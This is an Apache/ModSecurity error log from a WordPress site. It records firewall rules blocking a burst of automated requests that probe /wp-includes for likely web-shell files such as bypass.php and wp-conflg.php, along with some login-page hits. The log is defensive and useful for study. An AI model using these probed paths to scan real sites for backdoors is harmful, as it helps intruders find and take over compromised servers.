[Fri Nov 21 16:56:16.493650 2025] [:error] [pid 25429:tid 25434] [client 172.98.32.77:61067] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aSApMD4rZbRSr7vu-NO9_AAAAAE"]
[Fri Nov 21 16:56:19.978734 2025] [:error] [pid 25554:tid 25569] [client 172.98.32.98:35917] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aSApMx-NtB-9AzFZrk5sQwAAAQs"]
[Fri Nov 21 16:56:22.190601 2025] [:error] [pid 25431:tid 25491] [client 136.144.42.79:47927] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSApNsklhXxmoIExII1N3gAAAIQ"]
[Fri Nov 21 16:56:24.482758 2025] [:error] [pid 46939:tid 46962] [client 45.132.227.58:20303] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aSApOO0OmVoxD4VZ_ZmRQgAAAVQ"]
[Fri Nov 21 16:56:26.685299 2025] [:error] [pid 25429:tid 25454] [client 172.98.32.76:23881] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aSApOj4rZbRSr7vu-NO-BQAAABU"]
[Fri Nov 21 16:56:30.222794 2025] [:error] [pid 46939:tid 46944] [client 172.98.32.84:31317] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aSApPu0OmVoxD4VZ_ZmRVAAAAUI"]
[Fri Nov 21 16:56:31.529682 2025] [:error] [pid 25521:tid 25528] [client 45.132.227.59:33837] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aSApP_hXnBMilDddn3X_PQAAAMU"]
[Fri Nov 21 16:56:32.832045 2025] [:error] [pid 25521:tid 25536] [client 172.98.32.81:43867] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aSApQPhXnBMilDddn3X_RQAAAM0"]
[Fri Nov 21 16:56:34.622302 2025] [:error] [pid 25521:tid 25532] [client 172.98.32.99:41991] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aSApQvhXnBMilDddn3X_TQAAAMk"]
[Fri Nov 21 16:56:38.994334 2025] [:error] [pid 46939:tid 46947] [client 45.132.227.54:56823] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aSApRu0OmVoxD4VZ_ZmRhgAAAUU"]
[Fri Nov 21 16:56:39.867663 2025] [:error] [pid 25554:tid 25568] [client 136.144.42.74:46759] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aSApRx-NtB-9AzFZrk5sbAAAAQo"]
[Fri Nov 21 16:56:42.045722 2025] [:error] [pid 25430:tid 25479] [client 172.98.32.82:40449] [client 172.98.32.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aSApSqpnWJcWt_4foXlYfQAAAFM"]
[Fri Nov 21 16:56:42.910271 2025] [:error] [pid 46939:tid 46956] [client 45.132.227.53:47073] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSApSu0OmVoxD4VZ_ZmRlAAAAU4"]
[Fri Nov 21 16:56:44.662948 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.78:48507] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aSApTO0OmVoxD4VZ_ZmRnQAAAUM"]
[Fri Nov 21 16:56:45.532710 2025] [:error] [pid 25430:tid 25461] [client 136.144.42.78:47651] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aSApTapnWJcWt_4foXlYigAAAEE"]
[Fri Nov 21 16:56:46.401395 2025] [:error] [pid 25429:tid 25454] [client 172.98.32.97:55265] [client 172.98.32.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.97, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSApTj4rZbRSr7vu-NO-DwAAABU"]
[Fri Nov 21 16:56:46.410983 2025] [proxy_fcgi:error] [pid 25429:tid 25454] [client 172.98.32.97:55265] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:56:46.840087 2025] [:error] [pid 25429:tid 25444] [client 172.98.32.97:55265] [client 172.98.32.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aSApTj4rZbRSr7vu-NO-EAAAAAs"]
[Fri Nov 21 16:56:49.025012 2025] [:error] [pid 46939:tid 46956] [client 172.98.32.99:49203] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSApUe0OmVoxD4VZ_ZmR0wAAAU4"]
[Fri Nov 21 16:56:49.950527 2025] [:error] [pid 25554:tid 25566] [client 45.132.227.61:59593] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSApUR-NtB-9AzFZrk5sdgAAAQg"]
[Fri Nov 21 16:56:53.867806 2025] [:error] [pid 25431:tid 25511] [client 172.98.32.84:57141] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aSApVcklhXxmoIExII1OCQAAAJg"]
[Fri Nov 21 16:56:54.728904 2025] [:error] [pid 25430:tid 25477] [client 45.132.227.56:46835] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aSApVqpnWJcWt_4foXlYpgAAAFE"]
[Fri Nov 21 16:56:57.556229 2025] [:error] [pid 25431:tid 25495] [client 136.144.42.69:62935] [client 136.144.42.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aSApWcklhXxmoIExII1ODgAAAIg"]
[Fri Nov 21 16:56:58.418504 2025] [:error] [pid 25554:tid 25565] [client 172.98.32.100:40683] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aSApWh-NtB-9AzFZrk5sggAAAQc"]
[Fri Nov 21 16:56:59.297867 2025] [proxy_fcgi:error] [pid 46939:tid 46956] [client 172.98.32.91:34893] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:56:59.728078 2025] [:error] [pid 46939:tid 46953] [client 172.98.32.91:34893] [client 172.98.32.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.32.91, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSApW-0OmVoxD4VZ_ZmR-gAAAUs"]
[Fri Nov 21 16:57:00.611632 2025] [:error] [pid 46939:tid 46948] [client 172.98.32.91:34893] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aSApXO0OmVoxD4VZ_ZmSAQAAAUY"]
[Fri Nov 21 16:57:03.287863 2025] [:error] [pid 25431:tid 25501] [client 172.98.32.76:32005] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aSApX8klhXxmoIExII1OGAAAAI4"]
[Fri Nov 21 16:57:04.604245 2025] [:error] [pid 25431:tid 25510] [client 172.98.32.98:35769] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aSApYMklhXxmoIExII1OGwAAAJc"]
[Fri Nov 21 16:57:05.468473 2025] [:error] [pid 25431:tid 25502] [client 136.144.42.80:60963] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aSApYcklhXxmoIExII1OHAAAAI8"]
[Fri Nov 21 16:57:09.559498 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.79:62481] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aSApZe0OmVoxD4VZ_ZmSJwAAAUM"]
[Fri Nov 21 16:57:11.325475 2025] [:error] [pid 25429:tid 25456] [client 45.132.227.58:27119] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSApZz4rZbRSr7vu-NO-LwAAABc"]
[Fri Nov 21 16:57:13.958662 2025] [:error] [pid 25429:tid 25438] [client 172.98.32.79:30037] [client 172.98.32.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aSApaT4rZbRSr7vu-NO-OQAAAAU"]
[Fri Nov 21 16:57:14.850096 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.78:22993] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aSApau0OmVoxD4VZ_ZmSOQAAAUM"]
[Fri Nov 21 16:57:16.167401 2025] [:error] [pid 25431:tid 25487] [client 136.144.42.80:52347] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aSApbMklhXxmoIExII1OMQAAAIA"]
[Fri Nov 21 16:57:19.796726 2025] [:error] [pid 46939:tid 46959] [client 172.98.32.81:20607] [client 172.98.32.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSApb-0OmVoxD4VZ_ZmSRwAAAVE"]
[Fri Nov 21 16:57:21.531016 2025] [:error] [pid 25429:tid 25456] [client 172.98.32.78:39677] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||www.measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "www.measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aSApcT4rZbRSr7vu-NO-VQAAABc"]
[Fri Nov 21 16:57:21.974387 2025] [:error] [pid 25429:tid 25439] [client 172.98.32.78:39677] [client 172.98.32.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aSApcT4rZbRSr7vu-NO-VwAAAAY"]
[Fri Nov 21 16:57:23.723672 2025] [:error] [pid 25554:tid 25567] [client 45.132.227.52:44085] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aSApcx-NtB-9AzFZrk5syAAAAQk"]
[Fri Nov 21 16:57:24.585234 2025] [:error] [pid 46939:tid 46951] [client 172.98.32.85:25871] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aSApdO0OmVoxD4VZ_ZmSSQAAAUk"]
[Fri Nov 21 16:57:28.087762 2025] [:error] [pid 25430:tid 25474] [client 45.132.227.61:46901] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aSApeKpnWJcWt_4foXlZGAAAAE4"]
[Fri Nov 21 16:57:29.890019 2025] [:error] [pid 25521:tid 25530] [client 45.132.227.60:21141] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aSApefhXnBMilDddn3X_qAAAAMc"]
[Fri Nov 21 16:57:31.194625 2025] [:error] [pid 25521:tid 25524] [client 45.132.227.59:35467] [client 45.132.227.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aSApe_hXnBMilDddn3X_rQAAAME"]
[Fri Nov 21 16:57:34.242837 2025] [:error] [pid 25554:tid 25565] [client 136.144.42.80:37003] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aSApfh-NtB-9AzFZrk5s9AAAAQc"]
[Fri Nov 21 16:57:35.560646 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.99:46289] [client 172.98.32.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aSApfx-NtB-9AzFZrk5s-QAAAQ0"]
[Fri Nov 21 16:57:36.875730 2025] [:error] [pid 25429:tid 25438] [client 45.132.227.67:33743] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aSApgD4rZbRSr7vu-NO-hQAAAAU"]
[Fri Nov 21 16:57:37.766401 2025] [:error] [pid 46939:tid 46959] [client 172.98.32.84:33097] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSApge0OmVoxD4VZ_ZmSVwAAAVE"]
[Fri Nov 21 16:57:41.166353 2025] [:error] [pid 46939:tid 46951] [client 172.98.32.87:59461] [client 172.98.32.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aSAphe0OmVoxD4VZ_ZmSXwAAAUk"]
[Fri Nov 21 16:57:45.589391 2025] [:error] [pid 25431:tid 25508] [client 172.98.32.92:50395] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aSApicklhXxmoIExII1OVwAAAJU"]
[Fri Nov 21 16:57:46.453777 2025] [:error] [pid 25430:tid 25475] [client 172.98.32.84:31723] [client 172.98.32.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aSApiqpnWJcWt_4foXlZMQAAAE8"]
[Fri Nov 21 16:57:49.541680 2025] [:error] [pid 25430:tid 25460] [client 45.132.227.57:29515] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aSApjapnWJcWt_4foXlZNwAAAEA"]
[Fri Nov 21 16:57:51.270277 2025] [:error] [pid 25430:tid 25465] [client 45.132.227.55:24203] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aSApj6pnWJcWt_4foXlZPAAAAEU"]
